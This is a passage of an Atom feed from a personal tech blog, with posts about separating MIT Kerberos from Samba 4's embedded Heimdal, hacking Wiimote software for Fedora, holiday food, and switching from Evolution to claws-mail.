		<link href="https://ssimo.org/blog/id_004.html"/>
		<id>tag:ssimo.org.blog:id_004</id>
		<updated>2010-01-05T00:14:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Just before the holidays I started working on a new project to mate Samba 4
and MIT Kerberos.&lt;/p&gt;

&lt;p&gt;Samba 4 embeds a copy of Heimdal Kerberos, and I want to use MIT instead as
that’s what is ditributed in RHEL and Fedora and it is the implementation of
Kerberos we use in FreeIPA.&lt;/p&gt;

&lt;p&gt;Samba 4 is basically one gigantic mess of spaghetti code (No it is not that
bad, but dependencies are intricate :-)&lt;/p&gt;

&lt;p&gt;Because it embeds the Heimdal KDC it also uses the Heimdal client library
and it conflicts with the MIT Kerberos one of course. So here I am building a
plugin that can act as separation layer that will, hopefully, keep the
namespaces separated (thanks RTLD_LOCAL).&lt;/p&gt;

&lt;p&gt;It is going to be an interested ride.&lt;/p&gt;

&lt;p&gt;(if you want to take a look feel free to check my personal samba git repo on
git.samba.org and soon I will also publish the krb5 repo with the other half
somewhere too …)&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Fun with Wiimotes</title>
		<link href="https://ssimo.org/blog/id_003.html"/>
		<id>tag:ssimo.org.blog:id_003</id>
		<updated>2010-01-04T04:51:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Today I saw this &lt;a href=&quot;http://www.youtube.com/watch?v=5s5EvhHy7eQ&quot;&gt;YouTube
video&lt;/a&gt; and got intrigued again about playing with my Wii Remote.&lt;/p&gt;

&lt;p&gt; So I searched around and found 2 useful projects.&lt;/p&gt;

&lt;p&gt;The first is the &lt;a href=&quot;http://www.wiiuse.net/&quot;&gt;wiiuse
library&lt;/a&gt;, although a bit buggy and with horrible dosmode files (carriage
return at the end of each line) I quickly packaged and even submitted a &lt;a href=&quot;http://bugzilla.redhat.com/552113&quot;&gt;review bug&lt;/a&gt; to push it into Fedora.
&lt;/p&gt;

&lt;p&gt;The second is an even crueder program called &lt;a href=&quot;http://www.resplect.com/xwii/&quot;&gt;XWii&lt;/a&gt;. The code is a bit horrible, but
I was able to quickly hack it to do a few things including mapping multimedia
volume keys to minus/plus/home Wiimote buttons, and a bit finer control to be
able to use a wiimote as a real IR mouse. There is a lot of work to turn this
program in a state where I can consider proposing it as a Fedora package.&lt;/p&gt;

&lt;p&gt;If I can find time on weekends I plan to buy a few infrared leds and play a
bit with my wiimotes and my video projector. If all goes well I might rewrite
xwii in C as a real daemon and propose it as a package for Fedora. But no
promises, this new year looks like I am going to work hard on a few
work-related projects, so it may take quite some time or forever ...&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Holidays are awesome</title>
		<link href="https://ssimo.org/blog/id_002.html"/>
		<id>tag:ssimo.org.blog:id_002</id>
		<updated>2009-12-27T19:39:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;Spent awesome holidays with relatives.&lt;/p&gt;

&lt;p&gt;As usual the best is food. I love holidays food, especially Italian holidays
food&lt;/p&gt;

&lt;p&gt;Today Luana and her parents made something special: Home made gnocchetti
with beans. They brought home made sausages too, and this evening we are going
to have home made pizza.&lt;/p&gt;

&lt;p&gt;Total Bliss&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

	<entry>
		<title type="html">Bye bye Evolution - welcome claws-mail</title>
		<link href="https://ssimo.org/blog/id_001.html"/>
		<id>tag:ssimo.org.blog:id_001</id>
		<updated>2009-12-18T21:02:00+00:00</updated>
		<content type="html" xml:lang="en">&lt;p&gt;After more than 8 years of service I finally abandoned evolution for my
work mail.&lt;/p&gt;

&lt;p&gt;I used evolution with great satisfaction for many years, but recently it
has got in the way.&lt;/p&gt;

&lt;p&gt;I am still using evolution for my personal email on my personal desktop
but not for work anymore.&lt;/p&gt;

&lt;p&gt;Many small things got worse in the last year. Calendaring with Zimbra
stopped working even half decently no less than 2 moths ago, changes in the
way messages are displayed or threaded I didn’t like a bit and got in my
way of managing email.&lt;/p&gt;

&lt;p&gt;As of late I kept using evolution mostly for the integrated calendar,
although it never worked perfectly it was still decent and the best
compromise I could find. But since calendaring stopped working
(appointments alarms do not fire, evolution prevents me changing stuff
etc…) the last reason to keep sticking to evo faded.&lt;/p&gt;

&lt;p&gt;So I looked out again and decided to give another try to claws-mail.
Last time I tried it was 3-4 years ago and compared to evolution it was
simply way to poor in features.&lt;/p&gt;

&lt;p&gt;But recent releases are just all evolution should be for me. The only
thing claws-mail lacks is the graphical polish evolution has. But I can
live with an ugly tool as long as it does the job.&lt;/p&gt;

&lt;p&gt;And claws-mail just does the job.&lt;/p&gt;

&lt;p&gt;It lets me configure just about every single behaviour and every single
item in the interface the way I like. I finally found again the joy of
configuring a tool so that it maximized my way of doing things instead of
having to bend my habits to a rigid tool like evolution is gradually
becoming.&lt;/p&gt;

&lt;p&gt;If I were to make the usual dreaded car analogy, evolution is more and
more looking like the typical cheap sports car that has a very nice line
and nice features, but is fragile.&lt;/p&gt;

&lt;p&gt;Claws is more like a Van or a Truck, it ain’t pretty, but when I have to
use it for my work it just is about perfect, it get’s the job done, without
fear of scratching the paint either.&lt;/p&gt;

&lt;p&gt;Claws-mail lacks a decent calendaring support and has no way to
integrate with Zimbra, and the optional calendaring plugin it has is pretty
poor, but given evolution is broken in that regard I can hardly say that’s
a show-stopper. For calendaring I am now also experimenting again with
sunbird.&lt;/p&gt;

&lt;p&gt;But for mail it supports all I need, GSSAPI auth works, IMAP works great
and looks like offline support works as well. Search does its job and so
on.&lt;/p&gt;

&lt;p&gt;But again the main feature is that I was able to configure just about
any aspect I wanted.&lt;/p&gt;

&lt;p&gt;I can tell it exactly how to behave when I change a folder (I prefer it
to select the last mail I’ve read)&lt;/p&gt;

&lt;p&gt;It doesn’t jump hectically when I get in a folder just because I like to
keep new mails at the bottom and not at the top like evolution does.&lt;/p&gt;

&lt;p&gt;It is generally faster at rendering messages.&lt;/p&gt;

&lt;p&gt;One difference with evolution is how it manages attachments, I think I
like how it does it though. Does not cause again all the view pane to
flicker like evolution does just because it has to recalculate the page
layout to show the attachment content when you select it.&lt;/p&gt;

&lt;p&gt;In short I got in love by how well it configures and although it lacks
calendaring and it is not much multithreaded (sometimes you have to wait
for another operation to finish) it looks solid and didn’t have a problem
with my multi-gigs IMAP repository.&lt;/p&gt;

&lt;p&gt;All in all, right now I feel it much power-user friendly, and is making
my use of email enjoyable again like it was with evolution up to 2-3 years
ago.&lt;/p&gt;

&lt;p&gt;Let’s see how long the honeymoon will last :-)&lt;/p&gt;</content>
		<author>
			<name>Simo Sorce</name>
			<uri>https://ssimo.org/blog/</uri>
		</author>
		<source>
			<title type="html">Simo's Blog</title>
			<subtitle type="html">No good deeds goes unpunished</subtitle>
			<link rel="self" href="https://ssimo.org/blog/blog.atom"/>
			<id>https://ssimo.org/blog/atom</id>
			<updated>2026-05-10T07:28:35+00:00</updated>
		</source>
	</entry>

</feed>
